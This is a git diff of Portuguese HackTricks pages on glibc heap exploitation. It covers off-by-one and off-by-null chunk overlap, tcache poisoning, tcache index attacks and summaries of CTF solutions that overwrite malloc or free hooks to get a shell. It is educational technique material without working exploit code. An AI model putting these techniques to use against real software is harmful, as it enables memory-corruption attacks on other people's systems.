@@ -54,47 +54,86 @@ Entre outras verificações, agora sempre que um chunk é liberado, o tamanho an * [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking\_free\_chunks.c) * Este ataque não está mais funcionando devido ao uso de Tcaches. -* Além disso, se você tentar abusar dele usando chunks maiores (para que as tcaches não estejam envolvidas), você receberá o erro: `malloc(): invalid next size (unsorted)` +* Além disso, se você tentar abusar dele usando chunks maiores (para que os tcaches não estejam envolvidos), você receberá o erro: `malloc(): invalid next size (unsorted)` ### Objetivo -* Fazer um chunk estar contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido +* Fazer um chunk ser contido dentro de outro chunk, de modo que o acesso de escrita sobre esse segundo chunk permita sobrescrever o contido. ### Requisitos -* Estouro de buffer por um para modificar as informações de metadados de tamanho +* Off by one overflow para modificar as informações de metadados de tamanho. -### Ataque geral de off-by-one +### Ataque geral off-by-one -* Aloque três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o chunk superior. -* Libere `C` (inserido na lista de liberação Tcache de 0x20). -* Use o chunk `A` para transbordar em `B`. Abusa do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41. -* Agora temos `B` contendo o chunk livre `C` -* Libere `B` e aloque um chunk de 0x40 (ele será colocado aqui novamente) -* Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento de Tcache) +* Alocar três chunks `A`, `B` e `C` (digamos tamanhos 0x20), e outro para evitar a consolidação com o top-chunk. +* Liberar `C` (inserido na lista de chunks livres do Tcache de 0x20). +* Usar o chunk `A` para transbordar sobre `B`. Abusar do off-by-one para modificar o campo `size` de `B` de 0x21 para 0x41. +* Agora temos `B` contendo o chunk livre `C`. +* Liberar `B` e alocar um chunk de 0x40 (ele será colocado aqui novamente). +* Podemos modificar o ponteiro `fd` de `C`, que ainda está livre (envenenamento do Tcache). ### Ataque off-by-null -* 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de estouro por um e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, faria com que o chunk do meio indicasse que é 0x10 menor do que realmente é). -* Em seguida, 2 chunks menores são alocados no meio do chunk liberado (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria. -* Em seguida, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (agora b1), ambos são consolidados em um único chunk. No entanto, b2 ainda está dentro entre b1 e c. -* Finalmente, é feito um novo malloc para recuperar esta área de memória que na verdade vai conter b2, permitindo ao proprietário do novo malloc controlar o conteúdo de b2. +* 3 chunks de memória (a, b, c) são reservados um após o outro. Em seguida, o do meio é liberado. O primeiro contém uma vulnerabilidade de off by one e o atacante a abusa com um 0x00 (se o byte anterior fosse 0x10, isso faria o chunk do meio indicar que é 0x10 menor do que realmente é). +* Em seguida, mais 2 chunks menores são alocados no chunk liberado do meio (b), no entanto, como `b + b->size` nunca atualiza o chunk c porque o endereço apontado é menor do que deveria. +* Então, b1 e c são liberados. Como `c - c->prev_size` ainda aponta para b (b1 agora), ambos são consolidados em um chunk. No entanto, b2 ainda está entre b1 e c. +* Finalmente, um novo malloc é realizado reclamando esta área de memória que na verdade vai conter b2, permitindo que o proprietário do novo malloc controle o conteúdo de b2. Esta imagem explica perfeitamente o ataque:

https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks

-## Outros Exemplos e Referências +## Outros Exemplos & Referências * [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking\_free\_chunks) * [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/) -* Off-by-one devido ao `strlen` considerando o campo `size` do próximo chunk. -* Tcache está sendo usado, então ataques gerais de off-by-one funcionam para obter um primitivo de escrita arbitrário com envenenamento de Tcache. +* Off-by-one devido ao `strlen` considerar o campo `size` do próximo chunk. +* Tcache está sendo usado, então um ataque geral off-by-one funciona para obter uma primitiva de escrita arbitrária com envenenamento do Tcache. * [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#1-asis-ctf-2016-b00ks) -* É possível abusar de um off-by-one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo. -* A escrita arbitrária é obtida abusando do off-by-one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Em seguida, é possível seguir o ponteiro desta estrutura para obter uma escrita arbitrária. -* O endereço do libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo do libc. +* É possível abusar de um off by one para vazar um endereço do heap porque o byte 0x00 do final de uma string está sendo sobrescrito pelo próximo campo. +* A escrita arbitrária é obtida abusando da escrita off by one para fazer o ponteiro apontar para outro lugar onde uma estrutura falsa com ponteiros falsos será construída. Em seguida, é possível seguir o ponteiro desta estrutura para obter escrita arbitrária. +* O endereço da libc é vazado porque se o heap for estendido usando mmap, a memória alocada por mmap tem um deslocamento fixo em relação à libc. * Finalmente, a escrita arbitrária é abusada para escrever no endereço de \_\_free\_hook com um one gadget. * [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off\_by\_one/#instance-2-plaidctf-2015-plaiddb) -* Existe uma vulnerabilidade de off-by-one NULL na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo. -* **Compartilhe truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) **e** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **repositórios do Github.** +* Há uma vulnerabilidade de off by one NULL na função `getline` que lê linhas de entrada do usuário. Esta função é usada para ler a "chave" do conteúdo e não o conteúdo. +* No writeup, 5 chunks iniciais são criados: +* chunk1 (0x200) +* chunk2 (0x50) +* chunk5 (0x68) +* chunk3 (0x1f8) +* chunk4 (0xf0) +* chunk defense (0x400) para evitar a consolidação com o top chunk. +* Então, os chunks 1, 5 e 3 são liberados, então: +* ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +* Então, abusando do chunk3 (0x1f8), o off-by-one nulo é abusado escrevendo o prev\_size para `0x4e0`. +* Note como os tamanhos dos chunks inicialmente alocados 1, 2, 5 e 3 mais os cabeçalhos de 4 desses chunks somam `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0` +* Em seguida, o chunk 4 é liberado, gerando um chunk que consome todos os chunks até o início: +* ```python +[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ] +``` +* ```python +[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ] +``` +* Então, `0x200` bytes são alocados preenchendo o chunk original 1. +* E mais 0x200 bytes são alocados e o chunk2 é destruído e, portanto, não há vazamento e isso não funciona? Talvez isso não devesse ser feito. +* Em seguida, aloca outro chunk com 0x58 "a"s (sobrescrevendo o chunk2 e alcançando o chunk5) e modifica o `fd` do chunk de fast bin do chunk5 apontando para `__malloc_hook`. +* Em seguida, um chunk de 0x68 é alocado para que o chunk de fast bin falso em `__malloc_hook` seja o próximo chunk de fast bin. +* Finalmente, um novo chunk de fast bin de 0x68 é alocado e `__malloc_hook` é sobrescrito com um endereço de `one_gadget`. + +{% hint style="success" %} +Aprenda e pratique AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-nos no** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md index f06d28d5c..ff8879242 100644 --- a/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md +++ b/binary-exploitation/libc-heap/overwriting-a-freed-chunk.md @@ -1,49 +1,49 @@ -# Sobrescrevendo um pedaço liberado +# Sobrescrevendo um chunk liberado {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -Várias das técnicas propostas de exploração de heap precisam ser capazes de sobrescrever ponteiros dentro de pedaços liberados. O objetivo desta página é resumir as vulnerabilidades potenciais que poderiam conceder esse acesso: +Várias das técnicas de exploração de heap propostas precisam ser capazes de sobrescrever ponteiros dentro de chunks liberados. O objetivo desta página é resumir as potenciais vulnerabilidades que poderiam conceder esse acesso: -### Simples Uso Após Liberação +### Uso Simples Após Liberação -Se for possível para o atacante **escrever informações em um pedaço liberado**, ele poderia abusar disso para sobrescrever os ponteiros necessários. +Se for possível para o atacante **escrever informações em um chunk liberado**, eles poderiam abusar disso para sobrescrever os ponteiros necessários. ### Dupla Liberação -Se o atacante puder **`liberar` duas vezes o mesmo pedaço** (liberar outros pedaços entre eles potencialmente) e fazer com que ele seja **2 vezes no mesmo bin**, seria possível para o usuário **alocar o pedaço posteriormente**, **escrever os ponteiros necessários** e então **alocá-lo novamente** acionando as ações do pedaço sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...) +Se o atacante puder **`liberar` duas vezes o mesmo chunk** (liberando outros chunks entre potencialmente) e fazê-lo estar **2 vezes no mesmo bin**, seria possível para o usuário **alocar o chunk mais tarde**, **escrever os ponteiros necessários** e então **alocá-lo novamente**, acionando as ações do chunk sendo alocado (por exemplo, ataque de fast bin, ataque de tcache...) -### Estouro de Heap +### Overflow de Heap -Pode ser possível **estourar um pedaço alocado tendo em seguida um pedaço liberado** e modificar alguns cabeçalhos/ponteiros dele. +Pode ser possível **transbordar um chunk alocado tendo ao lado um chunk liberado** e modificar alguns cabeçalhos/ponteiros dele. -### Estouro por um +### Overflow Off-by-one -Neste caso, seria possível **modificar o tamanho** do pedaço seguinte na memória. Um atacante poderia abusar disso para **fazer com que um pedaço alocado tenha um tamanho maior**, então **`liberá-lo`**, fazendo com que o pedaço seja **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **pedaço com um tamanho maior** do que realmente é, **concedendo assim uma situação de sobreposição de pedaços**, que é explorável da mesma forma que um **estouro de heap** (verifique a seção anterior). +Neste caso, seria possível **modificar o tamanho** do chunk seguinte na memória. Um atacante poderia abusar disso para **fazer um chunk alocado ter um tamanho maior**, então **`liberá-lo`**, fazendo com que o chunk fosse **adicionado a um bin de um tamanho diferente** (maior), então alocar o **tamanho falso**, e o ataque terá acesso a um **chunk com um tamanho que é maior** do que realmente é, **concedendo assim uma situação de chunks sobrepostos**, que é explorável da mesma forma que um **overflow de heap** (ver seção anterior). {% hint style="success" %} -Aprenda e pratique Hacking AWS: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) \ -Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)** ](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -- Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -- **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -- **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} diff --git a/binary-exploitation/libc-heap/tcache-bin-attack.md b/binary-exploitation/libc-heap/tcache-bin-attack.md index b9bf45af3..c480e19b1 100644 --- a/binary-exploitation/libc-heap/tcache-bin-attack.md +++ b/binary-exploitation/libc-heap/tcache-bin-attack.md @@ -1,70 +1,73 @@ -# Ataque ao Tcache Bin +# Tcache Bin Attack {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %} -## Informações Básicas +## Basic Information -Para mais informações sobre o que é um Tcache bin, consulte esta página: +Para mais informações sobre o que é um Tcache bin, confira esta página: {% content-ref url="bins-and-memory-allocations.md" %} [bins-and-memory-allocations.md](bins-and-memory-allocations.md) {% endcontent-ref %} -Em primeiro lugar, observe que o Tcache foi introduzido na versão 2.26 do Glibc. +Primeiramente, note que o Tcache foi introduzido na versão 2.26 do Glibc. -O **ataque ao Tcache** (também conhecido como **Tcache poisoning**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) é muito semelhante ao ataque ao fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para mais tarde ser possível **alocar esse endereço específico e potencialmente sobrescrever ponteiros**. +O **ataque Tcache** (também conhecido como **envenenamento de Tcache**) proposto na [**página guyinatuxido**](https://guyinatuxedo.github.io/29-tcache/tcache\_explanation/index.html) é muito semelhante ao ataque de fast bin, onde o objetivo é sobrescrever o ponteiro para o próximo chunk no bin dentro de um chunk liberado para um endereço arbitrário, para que depois seja possível **alocar aquele endereço específico e potencialmente sobrescrever ponteiros**. -No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever um endereço alinhado no novo ponteiro (ou executar o binário várias vezes para que o endereço escrito esteja realmente alinhado). +No entanto, atualmente, se você executar o código mencionado, receberá o erro: **`malloc(): unaligned tcache chunk detected`**. Portanto, é necessário escrever como endereço no novo ponteiro um endereço alinhado (ou executar o binário o suficiente para que o endereço escrito esteja realmente alinhado). -### Ataque aos índices do Tcache +### Tcache indexes attack -Normalmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk de cabeça de cada índice do tcache**. Se, por algum motivo, for possível modificar essas informações, seria possível **fazer o chunk de cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso. +Geralmente, é possível encontrar no início do heap um chunk contendo a **quantidade de chunks por índice** dentro do tcache e o endereço do **chunk cabeça de cada índice de tcache**. Se por algum motivo for possível modificar essa informação, seria possível **fazer o chunk cabeça de algum índice apontar para um endereço desejado** (como `__malloc_hook`) para então alocar um chunk do tamanho do índice e sobrescrever o conteúdo de `__malloc_hook` neste caso. -## Exemplos +## Examples * CTF [https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html](https://guyinatuxedo.github.io/29-tcache/dcquals19\_babyheap/index.html) -* **Vazamento de informações do Libc**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **realocar o chunk da lista não ordenada** sobrescrevendo apenas os primeiros 8B, deixando o **segundo endereço para o libc do chunk intacto para que possamos lê-lo**. -* **Ataque ao Tcache**: O binário é vulnerável a um estouro de heap de 1B. Isso será abusado para alterar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Em seguida, este chunk será **liberado**, adicionando-o ao tcache de chunks do tamanho falso. Em seguida, alocaremos um chunk com o tamanho falsificado, e o chunk anterior será **retornado sabendo que este chunk era realmente menor** e isso nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\ -Vamos abusar disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, então é possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar e, em seguida, a segunda alocação retornará um chunk em **`malloc_hook`** que pode ser abusado para escrever um **one gadget**. +* **Libc info leak**: É possível preencher os tcaches, adicionar um chunk na lista não ordenada, esvaziar o tcache e **re-alocar o chunk do bin não ordenado** apenas sobrescrevendo os primeiros 8B, deixando o **segundo endereço para libc do chunk intacto para que possamos lê-lo**. +* **Tcache attack**: O binário é vulnerável a um overflow de heap de 1B. Isso será abusado para mudar o **cabeçalho de tamanho** de um chunk alocado, tornando-o maior. Então, esse chunk será **liberado**, adicionando-o ao tcache de chunks de tamanho falso. Em seguida, alocaremos um chunk com o tamanho falso, e o chunk anterior será **retornado sabendo que esse chunk era na verdade menor**, e isso nos dá a oportunidade de **sobrescrever o próximo chunk na memória**.\ +Abusaremos disso para **sobrescrever o ponteiro FD do próximo chunk** para apontar para **`malloc_hook`**, para que então seja possível alocar 2 ponteiros: primeiro o ponteiro legítimo que acabamos de modificar, e então a segunda alocação retornará um chunk em **`malloc_hook`** que é possível abusar para escrever um **one gadget**. * CTF [https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html](https://guyinatuxedo.github.io/29-tcache/plaid19\_cpp/index.html) -* **Vazamento de informações do Libc**: Há um uso após free e um double free. Neste writeup, o autor vazou um endereço do libc lendo o endereço de um chunk colocado em um bin pequeno (como vazando-o do bin não ordenado, mas do pequeno). -* **Ataque ao Tcache**: Um Tcache é realizado via um **double free**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, ele é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente para que o próximo chunk na lista vá para o free hook. Em seguida, isso também é alocado e é possível escrever o endereço do `system` aqui, então quando um malloc contendo `"/bin/sh"` é liberado, obtemos um shell. +* **Libc info leak**: Há um uso após a liberação e um duplo free. Neste writeup, o autor vazou um endereço da libc lendo o endereço de um chunk colocado em um bin pequeno (como vazando do bin não ordenado, mas do pequeno). +* **Tcache attack**: Um Tcache é realizado via um **duplo free**. O mesmo chunk é liberado duas vezes, então dentro do Tcache o chunk apontará para si mesmo. Em seguida, é alocado, seu ponteiro FD é modificado para apontar para o **free hook** e então é alocado novamente, de modo que o próximo chunk na lista estará no free hook. Então, isso também é alocado e é possível escrever o endereço de `system` aqui, para que quando um malloc contendo `"/bin/sh"` for liberado, consigamos uma shell. * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html) -* A principal vulnerabilidade aqui é a capacidade de `liberar` qualquer endereço no heap indicando seu deslocamento -* **Ataque aos índices do Tcache**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk do tcache (o chunk com as informações dos bins do tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto um chunk em um índice específico gera o valor 0x100. -* Em seguida, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `liberar` este endereço. Isso irá **adicionar esse endereço ao índice de chunks de tamanho 0x100 no tcache**. -* Em seguida, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices do tcache.\ -Por exemplo, colocar o endereço do gancho malloc em um deles e alocar um chunk do tamanho desse índice concederá um chunk no gancho calloc, o que permite escrever um one gadget para obter um shell. +* A principal vulnerabilidade aqui é a capacidade de `free` qualquer endereço no heap indicando seu offset. +* **Tcache indexes attack**: É possível alocar e liberar um chunk de um tamanho que, quando armazenado dentro do chunk tcache (o chunk com as informações dos bins de tcache), gerará um **endereço com o valor 0x100**. Isso ocorre porque o tcache armazena a quantidade de chunks em cada bin em bytes diferentes, portanto, um chunk em um índice específico gera o valor 0x100. +* Então, esse valor parece que há um chunk de tamanho 0x100. Permitindo abusar disso ao `free` esse endereço. Isso **adicionará esse endereço ao índice de chunks de tamanho 0x100 no tcache**. +* Então, **alocando** um chunk de tamanho **0x100**, o endereço anterior será retornado como um chunk, permitindo sobrescrever outros índices de tcache.\ +Por exemplo, colocando o endereço do malloc hook em um deles e alocando um chunk do tamanho desse índice garantirá um chunk no calloc hook, o que permite escrever um one gadget para obter uma shell. * CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html) -* Mesma vulnerabilidade que antes com uma restrição extra -* **Ataque aos índices do Tcache**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache** para que seu endereço seja adicionado ao índice do tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk do tcache como um chunk, o que permite adicionar o gancho free como o endereço de um índice, alocá-lo e escrever um one gadget nele. +* Mesma vulnerabilidade que antes com uma restrição extra. +* **Tcache indexes attack**: Ataque semelhante ao anterior, mas usando menos etapas ao **liberar o chunk que contém as informações do tcache**, de modo que seu endereço seja adicionado ao índice de tcache de seu tamanho, permitindo alocar esse tamanho e obter as informações do chunk de tcache como um chunk, o que permite adicionar o free hook como o endereço de um índice, alocá-lo e escrever um one gadget nele. * [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/) * **Write After Free** para adicionar um número ao ponteiro `fd`. -* Muito **heap feng-shui** é necessário neste desafio. O writeup mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil. -* **Vazamento do Glibc** através do `stdout` (FSOP). -* **Tcache poisoning** para obter um primitivo de escrita arbitrário. +* Muito de **heap feng-shui** é necessário neste desafio. O writeup mostra como **controlar a cabeça da lista livre do Tcache** é bastante útil. +* **Glibc leak** através de `stdout` (FSOP). +* **Tcache poisoning** para obter uma primitiva de escrita arbitrária. {% hint style="success" %} -Aprenda e pratique Hacking na AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking no GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do Telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github. +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/libc-heap/unlink-attack.md b/binary-exploitation/libc-heap/unlink-attack.md index 439faa36b..2c3f82f3f 100644 --- a/binary-exploitation/libc-heap/unlink-attack.md +++ b/binary-exploitation/libc-heap/unlink-attack.md @@ -1,23 +1,23 @@ -# Ataque Unlink +# Unlink Attack {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
